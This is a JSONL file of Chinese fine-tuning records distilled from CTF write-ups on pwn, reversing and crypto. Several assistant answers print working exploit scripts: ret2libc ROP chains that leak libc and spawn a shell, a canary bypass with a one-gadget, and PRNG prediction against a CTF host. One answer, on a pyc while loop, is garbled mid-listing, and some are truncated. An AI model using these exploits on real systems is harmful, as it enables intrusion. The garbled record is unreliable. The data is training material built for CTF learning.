{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-6a7f4c0762210f3b019b", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“铁人三项(第五赛区) 2018rop”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“铁人三项(第五赛区) 2018rop”。\n语言/类型：python\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\ncontext.arch=elf.arch\n\noff=0x8c\npayload=b'a'*off+p32(elf.plt.write)+p32(elf.sym.main)+p32(1)+p32(elf.got[\"write\"])+p32(0x20)\nsl(payload)\nwrite=u32(r(4))\nprint(hex(write))\nlibc=LibcSearcher(\"write\",write)\nbase=write-libc.dump(\"write\")\nsh=base+libc.dump(\"str_bin_sh\")\nsys=base+libc.dump(\"system\")\npay=b'a'*off+p32(sys)+p32(elf.sym.main)+p32(sh)\nr()\nsl(pay)\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::ac0b6a0e9e28586e", "original_line": 1009, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "铁人三项(第五赛区) 2018rop", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "ac0b6a0e9e28586e", "source_split": "train", "split": "train", "split_group_key": "1ee970fb314b2b53e358ed55", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-6bc9c281dc2c9ce470ae", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“执行 state”？请用《Angr：Angr符号执行》中的内容回答。", "role": "user"}, {"content": "1. 如何从一个 state ，通过符号执行，得到新的 state 呢？\n2. 最简单的方法是通过单步执行的形式，来得到当前 state 经过符号执行所产生的新的 state，只需要调用 `state.step()`​ 函数就能执行一个基本块的所有指令。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::c48792c19baf8228", "original_line": 851, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "执行 state", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "c48792c19baf8228", "source_split": "train", "split": "train", "split_group_key": "6fca102c251d2d476962038d", "tags": ["reverse"], "title": "Angr：Angr符号执行", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-6bc9f7ea7b224f2c760f", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pyc：pyc文件》中“while 循环”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pyc：pyc文件》的“while 循环”。\n关联知识点：\n- print(code.co_code[:6].hex()) #710471067102\n代码片段：\n```\n1：\n0 LOAD_CONST               0 (0)\n2 STORE_NAME               0 (i)\n\n2：\n4 LOAD_NAME                0 (i)\n6 LOAD_CONST               1 (10)\n8 COMPARE_OP               0 (2024极客大挑战 奇怪的RC4\n\n>2024极客大挑战 好像是python?\n\n>[羊城杯 2020]Bytecode\n\n>DASCTF 2020 pycode\n\n>DASCTF ezpython\n\n>VNCTF2022 BabyMaze\n\n第一条指令会跳转到 4，然后 4 会跳转到 2，之后 2 又会跳转到 6，最后从 6 开始正常执行。\n\n所以可以判断这是花指令\n\n定位花指令：\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::433e8d73dcd4fe8a", "original_line": 99, "original_split": "validation", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "while 循环", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "433e8d73dcd4fe8a", "source_split": "validation", "split": "train", "split_group_key": "254b04e52ab7f16a76d44295", "tags": ["reverse", "crypto", "ctf-method"], "title": "Pyc：pyc文件", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-6d1c7eefb4c01ce29092", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[GDOUCTF 2023]真男人下120层”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[GDOUCTF 2023]真男人下120层”。\n语言/类型：python\n代码片段：\n```python\nfrom pwn import *\nfrom ctypes import *\ncontext.log_level='debug'\n#io = process('./bin')\nio=remote(\"node4.anna.nssctf.cn\",28765)\n\nlib = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')\nsrand=lib.srand(lib.time(0))\nsrand=lib.srand(srand%3-1522127470)\nio.recvuntil('Floor')\nfor i in range(121):\n    io.sendline(str(lib.rand()%4+1).encode())\n\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::81b7a07c1f7dadc9", "original_line": 719, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[GDOUCTF 2023]真男人下120层", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "81b7a07c1f7dadc9", "source_split": "train", "split": "train", "split_group_key": "c6e72bf0d972e6357b807af6", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-6d1d8f7a75663389ed4e", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[SWPUCTF 2022 新生赛]Darling”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [SWPUCTF 2022 新生赛]Darling\n关键词：再通过逻辑构造exp、SWPUCTF、include、gift、elf、pay、Darling、srand、rand、printf\n蒸馏要点：\n- 通过编写c程序复现伪随机数\n- 再通过逻辑构造exp\n可用于训练的标准回答：\n### [SWPUCTF 2022 新生赛]Darling\n\n#变量覆盖 #伪随机数\n\n通过编写c程序复现伪随机数\n\n```c\n#include\n#include\n\nint main(){\n  srand(0x1317e53u);\n  int v=rand()%100-64;\n  printf(\"%d\\n\",v);\n  return 0;\n}\n```\n\n再通过逻辑构造exp\n\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\n\nio=gift[\"io\"]\nelf=gift[\"elf\"]\n\npay=b\"17\"\n\nsa(\"you.\\n\",pay)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::e81dfb7444d0210b", "original_line": 771, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[SWPUCTF 2022 新生赛]Darling", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "e81dfb7444d0210b", "source_split": "train", "split": "train", "split_group_key": "020b8fc6e62bbc423d9f955f", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-6dac1cacfcf816566006", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“实现”？请用《SMC自修改代码》中的内容回答。", "role": "user"}, {"content": "1. 环境为 Linux 系统环境 gcc 编译器\n2. 下面我们通过实现简单的 SMC 代码来理解其原理。\n3. 我们编写一段 C 语言代码，在其中插入汇编代码，功能为输出字符串。\n4. 进行编译后，将`func`函数部分的字节码进行`xor 0xAA`加密，然后作为我们要解密的函数。\n5. 接下来我们编写 SMC 代码，将加密后的函数字节码作为数据插入到代码中。\n6. 加密算法为`xor`，异或值是`0xAA`，同样解密算法也是`xor`。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::c7f51891674b9768", "original_line": 782, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "实现", "source": "SMC自修改代码.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "c7f51891674b9768", "source_split": "train", "split": "train", "split_group_key": "50bf10f2bcac06c865d807a6", "tags": ["reverse", "crypto", "ctf-method"], "title": "SMC自修改代码", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-6eb2f421602251a1cbcf", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“2025hgame FORMAT”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / 2025hgame FORMAT\n关键词：lambda、data、text、num、elf、RELRO、PIE、libc、sla、recv\n蒸馏要点：\n- 搜索 gadget：\n- main 函数部分存在一个格式化字符串漏洞，但是只能格式化字符串最多只能为 3 个字符，所以这里无法泄露 libc。仅仅可以泄露栈上固定数据。\n- vuln 函数部分存在栈溢出，read 的长度是通过`a1`参数控制的，我们可以通过在外部调用处输入 -1 来写入很大的长度。\n- 通过栈溢出劫持rbp为buf+0x10的地址，然后劫持返回地址为格式化字符串漏洞的地址，从而实现任意地址泄露，由于rdi是rbp-0x10地址的数据，我们要劫持rbp为buf+0x10的位置，从而泄露 libc 的地址。\n可用于训练的标准回答：\n## 2025hgame FORMAT\n\n查保护：\n\n```\n    Arch:       amd64-64-little\n    RELRO:      Partial RELRO\n    Stack:      No canary found\n    NX:         NX enabled\n    PIE:        No PIE (0x400000)\n```\n\n搜索 gadget：\n\n仅仅只有两个。\n\n```\nGadgets information\n============================================================\n0x000000000040119d : pop rbp ; ret\n0x000000000040101a : ret\n```\n\nmain 函数部分存在一个格式化字符串漏洞，但是只能格式化字符串最多只能为 3 个字符，所以这里无法泄露 libc。仅仅可以泄露栈上固定数据。\n\nvuln 函数部分存在栈溢出，read 的长度是通过`a1`参数控制的，我们可以通过在外部调用处输入 -1 来写入很大的长度。\n\n分析汇编：\n\n思路：\n\n通过栈溢出劫持rbp为buf+0x10的地址，然后劫持返回地址为格式化字符串漏洞的地址，从而实现任意地址泄露，由于rdi是rbp-0x10地址的数据，我们要劫持rbp为buf+0x10的位置，从而泄露 libc 的地址。\n\n- exp\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\ns...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::c19031e1c09b8979", "original_line": 745, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "2025hgame FORMAT", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "c19031e1c09b8979", "source_split": "train", "split": "train", "split_group_key": "9ff9c34a37cbe69126edb865", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-6f670c00df51da52c5b0", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[HNCTF 2022 WEEK3]smash”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[HNCTF 2022 WEEK3]smash”。\n语言/类型：python\n关联知识点：\n- 通过覆盖环境变量指针来泄露数据，仅限于低版本的libc（2.23），高版本修复了这个漏洞。\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\npayload=cyclic(504)+p64(0x404060)\nr()\ns(payload)\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::bd184374202831b3", "original_line": 669, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[HNCTF 2022 WEEK3]smash", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "bd184374202831b3", "source_split": "train", "split": "train", "split_group_key": "33469cbdccd2d96574e901d0", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-6f80789f04dc92d9fec2", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《花指令：原理：反汇编算法的设计缺陷》中“脚本清除花指令”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《花指令：原理：反汇编算法的设计缺陷》的“脚本清除花指令”。\n关联知识点：\n- 除汇编指令共用之外，上面有3个类别花指令 ida 无法正常识别\n- 互补条件跳转（比较好处理）\n- 永真条件跳转（各种永真条件比较难匹配）\n- call&ret跳转（比较难处理）\n- 所以就只对第一种`jnx`和`jx`的花指令进行自动化处理\n代码片段：\n```\n70  JO(O标志位为1跳转)\n71  JNO\n72  JB/JNAE/JC\n73  JNB/JAE/JNC\n74  JZ/JE\n75  JNZ/JNE\n76  JBE/JNA\n77  JNBE/JA\n78  JS\n79  JNS\n7A  JP/JPE\n7B  JNP/JPO\n7C  JL/JNGE\n7D  JNL/JGE\n7E  JLE/JNG\n7F  JNLE/JG\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::a47c09a2b659cc60", "original_line": 707, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "脚本清除花指令", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "a47c09a2b659cc60", "source_split": "train", "split": "train", "split_group_key": "cd69470a68875d66d63a4d09", "tags": ["reverse", "ctf-method"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-6f934995e47b925f98be", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“2025湾区杯-oddcanary”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“2025湾区杯-oddcanary”。\n语言/类型：python\n关联知识点：\n- canary绕过\n- 分析发现`init_array`字段有函数注册，这样的话函数会在程序启动后先执行。\n- 将`ctfer`复制到`name`全局变量，然后将一段字符串复制到`bss`字段。\n- 分析程序将 0x28 字节读到 buf，然后在`buf[read_len]`位置写入一个 8 字节的 10。然后将puts的got表复制到bss段。\n- 这样会导致在第二次执行`good_news`函数时，就会将`bss`段的`puts`的 got 表打印出来。\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\nia = lambda: io.interactive()\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('odd_canary')\nlibc=ELF(\"./libc.so.6\")\nio=process(elf.path)\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\nsla(b' (good/vuln/exit): ', b'good')\nsla(b'your name first:\\n', b'1' * 0x20)\n\nsla(b' (good/vuln/exit): ', b'good')\nsla(b'I will tell you good news,' + b'1' * 0x20, '')\n\nleak = uu64()\nlibc_base = leak - libc.sym.puts\nlg('libc_base', libc_base)\nsla(b'your name first:\\n', b'1' * 0x20)\n\nsla(b' (good/vuln/exit): ', b'vuln')\nsla(b'Enter your payload: \\n', b'execaaaa' + p64(0) * 5 + p64(0x404220) + p64(libc_base + 0xebd43))\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::5434fc2af9902f79", "original_line": 925, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "2025湾区杯-oddcanary", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "5434fc2af9902f79", "source_split": "train", "split": "train", "split_group_key": "8b4b81e484e841109bbb225f", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-6fa4dd87a668ae6f3d80", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《VM 指令虚拟化》中“VM虚拟机的结构”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《VM 指令虚拟化》的“VM虚拟机的结构”。\n语言/类型：c\n关联知识点：\n- 虚拟机的主程序其实就是一个循环，这个循环不断的去读取指令（伪机器码opcode），然后执行指令 opcode 所对应的一些函数，这样下来就可以与真实的程序执行相差无几。\n- 通常，一个虚拟机会包含以下几个主要组件：\n- `vm_init`：对虚拟机的环境进行初始化；\n- `dispatcher`：指令分发器，用于解释`opcode`，取指并分发，也就是读取opcode并根据opcode选择对应的 “伪指令” 进行执行，执行完一条之后会重新回到这里，读取接下来的opcode再次取指并分发。\n- 程序中还会存在opcode以及模拟的栈，寄存器等。\n代码片段：\n```c\n#include\n\nint main(){\n\tprintf(\"Hello,World\\n\");\n\treturn 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::313cb93fe0286b0f", "original_line": 1034, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "VM虚拟机的结构", "source": "VM 指令虚拟化.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "313cb93fe0286b0f", "source_split": "train", "split": "train", "split_group_key": "6bf0dd287109cb9016aedd7c", "tags": ["pwn", "reverse"], "title": "VM 指令虚拟化", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-71785d3aa292d3d7d469", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《AES》的“脚本”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。", "role": "user"}, {"content": "出处：AES / 脚本（第 1 段）\n关键词：AES、MIX_C、class、I_MIXC、RCon、S_BOX、0x01000000、0x02000000、0x04000000、0x08000000\n蒸馏要点：\n- AES 换表解密脚本。\n可用于训练的标准回答：\n## 脚本\n\nAES 换表解密脚本。\n\n```python\nclass AES:\n\nMIX_C  = [[0x2, 0x3, 0x1, 0x1], [0x1, 0x2, 0x3, 0x1], [0x1, 0x1, 0x2, 0x3], [0x3, 0x1, 0x1, 0x2]]\n    I_MIXC = [[0xe, 0xb, 0xd, 0x9], [0x9, 0xe, 0xb, 0xd], [0xd, 0x9, 0xe, 0xb], [0xb, 0xd, 0x9, 0xe]]\n    RCon   = [0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000, 0x1B000000, 0x36000000]\n\nS_BOX = [[124, 202, 123, 119, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 71, 171],\n             [118, 99, 130, 201, 125, 250, 89, 240, 173, 212, 162, 175, 156, 164, 114, 192],\n             [183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21],\n             [4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117],\n             [9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132],\n             [83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207],...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::dde47b6a6b4a0468", "original_line": 872, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "脚本", "source": "AES.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "dde47b6a6b4a0468", "source_split": "train", "split": "train", "split_group_key": "a8dabc8fd3e50b59cf05ffa8", "tags": ["crypto", "ctf-method"], "title": "AES", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-719859e3b841f8f15a1b", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“ciscn2019c1”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / ciscn2019c1\n关键词：p64、elf、puts_addr、puts、Input、your、libc、rdi、libc_base、dump\n可用于训练的标准回答：\n### ciscn2019c1\n\n#ret2libc\n\n- exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nmain=0x4009a0\nrbx_rbp=0x0000000000400aec\nrdi=0x0000000000400c83\nrsi_r15=0x0000000000400c81\nret=0x00000000004006b9\noff=0x58\n\npayload=b'a'*off+p64(rdi)+p64(elf.got[\"puts\"])+p64(elf.plt.puts)+p64(elf.sym[\"main\"])\nru(\"Input your choice!\\n\")\nsl(b\"1\")\nru(\"Input your Plaintext to be encrypted\\n\")\nsl(payload)\nputs_addr=u64(ru(b'\\x7f')[-6:].ljust(8,b'\\x00'))\nsuccess(\"puts_addr -> {:#x}\".format(puts_addr))\n\nlibc=LibcSearcher(\"puts\",puts_addr)\nlibc_base=puts_addr-libc.dump(\"puts\")\nsh=libc_base+libc.dump(\"str_bin_sh\")\nsys=libc_base+libc.dump(\"system\")\npay=b'a'*0x58+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\nru(b\"Input your choice!\\n\")\nsl(b\"1\")\nru(b\"Input your Plaintext to be encrypted\\n\")\nsl(pay)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::49c87a20e23eaab4", "original_line": 742, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "ciscn2019c1", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "49c87a20e23eaab4", "source_split": "train", "split": "train", "split_group_key": "a36c72ca0629b0c660ca1c7e", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
